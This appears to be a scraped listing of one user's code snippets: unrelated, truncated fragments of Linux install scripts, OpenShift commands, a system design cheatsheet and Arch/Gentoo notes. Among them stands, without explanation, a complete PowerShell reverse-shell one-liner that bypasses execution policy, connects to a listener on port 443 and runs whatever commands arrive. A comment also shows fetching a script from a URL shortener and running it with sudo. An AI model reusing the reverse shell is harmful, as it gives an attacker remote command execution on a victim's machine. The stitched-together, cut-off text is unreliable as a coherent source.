shizonic

#!/bin/sh

set -ex

PATH=/bin:/sbin:/usr/bin:/usr/sbin
KEYMAP="us us"
HOST=alpine
USER=anon
ROOT_FS=ext4
BOOT_FS=ext4

shizonic

#!/bin/sh
# nous,2019-2020

# How to use
# wget https://tiny.cc/fucksystemd
# chmod +x fucksystemd
# sudo ./fucksystemd

# Test Arch ISO installation:
# cfdisk /dev/sda

shizonic

Description

Some example commands for openshift/kubernetes, replace the oc with kubectl or otherwise

get all pods from all namespaces comma separated with namespace, pod name, container name, container image, pod status

oc get pods --all-namespaces -o go-template='{{range .items}}{{$status := .status.phase}}{{$namespace := .metadata.namespace}}{{$podname := .metadata.name}}{{range .spec.containers}}{{$namespace}}{{","}}{{$podname}}{{","}}{{.name}}{{","}}{{.image}}{{","}}{{$status}}{{"\n"}}{{end}}{{end}}'

get all pods from all namespaces comma separated with namespace, pod name, scc

oc get pods --all-namespaces -o go-template='{{range .items}}{{.metadata.namespace}},{{.metadata.name}},{{range $key, $element := .metadata.annotations}}{{if eq $key "openshift.io/scc"}}{{$element}}{{end}}{{end}}{{"\n"}}{{end}}'

get all sccs with attrubite .allowPrivilegedContainer true

shizonic

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

1. Clarify and agree on the scope of the system

• User cases (description of sequences of events that, taken together, lead to a system doing something useful)
  • Who is going to use it?
  • How are they going to use it?

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Void Linux installation guide!

Live image

Logging in

User is anon and password is voidlinux. The root user is root and has the same password. This document implies you're using the root user, so no sudo is used until the main user is created and used.

Setting keyboard layout

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#!/usr/bin/env bash

# WARNING!!
# This will obliterate all the data in your partition!! (not actually true, but act as if it was)
# Do NOT execute this script if you don't fully understand it!

# a few vars
amount_of_swap=$( free --si -g | grep Mem: | gawk '{ print $2 + 1}' )

# create partitions

shizonic

powershell -nop -exec bypass -c "$client = New-Object System.Net.Sockets.TCPClient('<LISTENERIP>',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

shizonic

http://www.ultrabug.fr/gentoo-linux-on-dell-xps-13-9350

https://wiki.gentoo.org/wiki/Dell_XPS_13_9360

https://wiki.gentoo.org/wiki/Full_Encrypted_Btrfs/Native_System_Root_Guide

https://wiki.gentoo.org/wiki/Handbook:AMD64

http://stafwag.github.io/blog/blog/2016/08/30/arch-on-an-encrypted-btrfs-partition

shizonic

These are working notes on the installation of Arch Linux. I've just completed this install on a notebook (Lenovo P50)
but the setup should work for most laptop/desktop configurations.

Some assumptions/notes:

1. This isn't a dual boot configuration. I can see some of the appeal and still work in Adobe from time to time, but given
the increasing complexity of EFI and the way Windows/MS manhandles the EFI partition during upgrades, I really would
recommend steering clear of dual boot. Just my two cents here.

2. We're encrypting with LUKS. I've used so-called "self encrypting drives" as well (and linux has multiple ways of dealing 

shizonic

package main

import (
        "bytes"
        "exec"
        "log"
        "os"
)

// Pipeline strings together the given exec.Cmd commands in a similar fashion